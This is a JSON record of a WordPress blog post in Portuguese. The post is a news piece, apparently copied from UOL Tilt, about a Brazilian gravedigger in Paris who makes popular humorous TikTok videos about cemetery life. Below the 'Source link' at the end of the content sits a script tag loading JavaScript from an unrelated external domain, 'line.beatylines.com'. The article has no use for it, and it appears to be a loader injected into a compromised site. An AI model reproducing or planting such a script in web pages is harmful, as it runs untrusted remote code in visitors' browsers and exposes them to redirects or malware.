{"id":1137,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/coveiro-bomba-com-videos-sobre-morte-e-cemiterio\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"coveiro-bomba-com-videos-sobre-morte-e-cemiterio","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/coveiro-bomba-com-videos-sobre-morte-e-cemiterio\/","title":{"rendered":"coveiro bomba com v\u00eddeos sobre morte e cemit\u00e9rio"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Vivendo h\u00e1 seis anos em Paris, na Fran\u00e7a, o goiano C\u00e9sar J\u00fanior Soares, 34, tem divertido internautas falando sobre o seu trabalho como coveiro. Para ele, usar o humor para mostrar a rotina entre t\u00famulos e l\u00e1pides \u00e9 um jeito de fazer as pessoas refletirem sobre os estere\u00f3tipos do cemit\u00e9rio \u2014 como mal-assombrado e cheio de fantasmas.<\/p>\n<p>Em um de seus v\u00eddeos mais popular, Soares representa cenas do que se passa na cabe\u00e7a de um coveiro. No TikTok, o conte\u00fado j\u00e1 foi curtido por 1,2 milh\u00e3o de pessoas e recebeu 10,4 mil coment\u00e1rios. No Instagram, ele soma 54 mil seguidores.<\/p>\n<p>A <strong>Tilt<\/strong>, ele conta que come\u00e7ou a trabalhar na \u00e1rea sem nenhuma pretens\u00e3o. Seu desejo era sair da rotina pesada da constru\u00e7\u00e3o civil, e acabou vendo nessa vaga de emprego uma oportunidade.<\/p>\n<p>&#8220;Coveiros do Brasil inteiro come\u00e7aram a vir falar comigo&#8221;, afirma ap\u00f3s o sucesso de seus v\u00eddeos.<\/p>\n<p>Em uma outra postagem, Soares brinca falando que vai mostrar um local mal-assombrado. O v\u00eddeo mostra ent\u00e3o uma \u00e1rvore que n\u00e3o est\u00e1 fazendo sombra. &#8220;Pronto, um local mal-assombrado&#8221;, conta rindo.<\/p>\n<p>Apesar de milh\u00f5es de visualiza\u00e7\u00f5es, nem todos curtem o material produzido por ele, conta. &#8220;Algumas pessoas achavam que eu era um grande f\u00e3 do cemit\u00e9rio e outras respondiam inbox com a palavra &#8216;credo&#8217;.&#8221;<\/p>\n<h2>Cuidado na produ\u00e7\u00e3o dos v\u00eddeos<\/h2>\n<p>Mesmo tendo muito trabalho durante o per\u00edodo mais intenso da pandemia de covid-19, com v\u00e1rias mortes por dia, o goiano aproveitava o tempo livre para estudar um pouco de produ\u00e7\u00e3o de <span>v\u00eddeo. <\/span><\/p>\n<p>A rotina atual envolve ajuda de um amigo nas filmagens. Para organizar a produ\u00e7\u00e3o de conte\u00fado, o brasileiro anota todas as ideias e falas em um rascunho no pr\u00f3prio <a href=\"https:\/\/www.uol.com.br\/tilt\/smartphone\/\">celular<\/a>.<\/p>\n<p>Depois tenta organiz\u00e1-las sempre que sobra um tempo. Segundo o coveiro, foi o jeito que achou mais f\u00e1cil para manter a rotina dos v\u00eddeos.<\/p>\n<h2>Chefe do cemit\u00e9rio o apoia<\/h2>\n<p>Segundo Soares, a vida entre o trabalho de coveiro e influencer tem aprova\u00e7\u00e3o de seu chefe, desde que n\u00e3o atrapalhe o expediente.<\/p>\n<p>O brasileiro ainda acrescenta que tem o cuidado de nunca fazer filmagens durante os sepultamentos ou cerim\u00f4nias que ocorrem dentro do local. &#8220;Tenho respeito. Se fosse comigo, tamb\u00e9m n\u00e3o gostaria&#8221;, afirma.<\/p>\n<h2>&#8220;J\u00e1 enterrou algu\u00e9m vivo?&#8221;<\/h2>\n<p>Desde que come\u00e7ou a fazer os v\u00eddeos, ele conta que j\u00e1 recebeu v\u00e1rias perguntas inusitadas dos seguidores. Uma delas foi se ele j\u00e1 teria enterrado algu\u00e9m vivo.<\/p>\n<p>Outra muito frequente \u00e9 se ele j\u00e1 viu assombra\u00e7\u00e3o. Mesmo querendo que o coveiro conte a todo custo, atos sobrenaturais n\u00e3o acontecem, diz o goiano.<\/p>\n<p>Um pedido que faziam muito a ele era o registro de exuma\u00e7\u00e3o dos corpos no local. Mas como precisa de autoriza\u00e7\u00e3o e ele preza pelo respeito aos familiares, ele afirma a <strong>Tilt <\/strong>que n\u00e3o faria isso em seus v\u00eddeos.<\/p>\n<p>&#8220;As pessoas t\u00eam bastante interesse sobre isso. Mas mostrei apenas eu me preparando&#8221;, diz.<\/p>\n<h2>Garoto-propaganda de funer\u00e1ria<\/h2>\n<p>Com a repercuss\u00e3o de seus v\u00eddeos, o brasileiro est\u00e1 pensando se cria um canal no YouTube.<\/p>\n<p>Enquanto isso n\u00e3o acontece, ele diz lidar com propostas de algumas empresas funer\u00e1rias brasileiras que o convidaram para ser &#8220;garoto-propaganda&#8221; da marca. &#8220;Eles querem fazer com que o cemit\u00e9rio se torne mais atrativo&#8221;, afirma.<\/p>\n<p>Segundo Soares, as conversas ainda est\u00e3o sendo feitas.<\/p>\n<p>Como falar de morte ainda \u00e9 tabu, ele acredita que tratar do assunto de forma descontra\u00edda pode ser um caminho para aproximar as pessoas a debaterem sobre isso.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/05\/21\/coveiro-bomba-no-tiktok-com-videos-descontraidos-sobre-mortes-e-cemiterios.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Vivendo h\u00e1 seis anos em Paris, na Fran\u00e7a, o goiano C\u00e9sar J\u00fanior Soares, 34, tem divertido internautas falando sobre o seu trabalho como coveiro. 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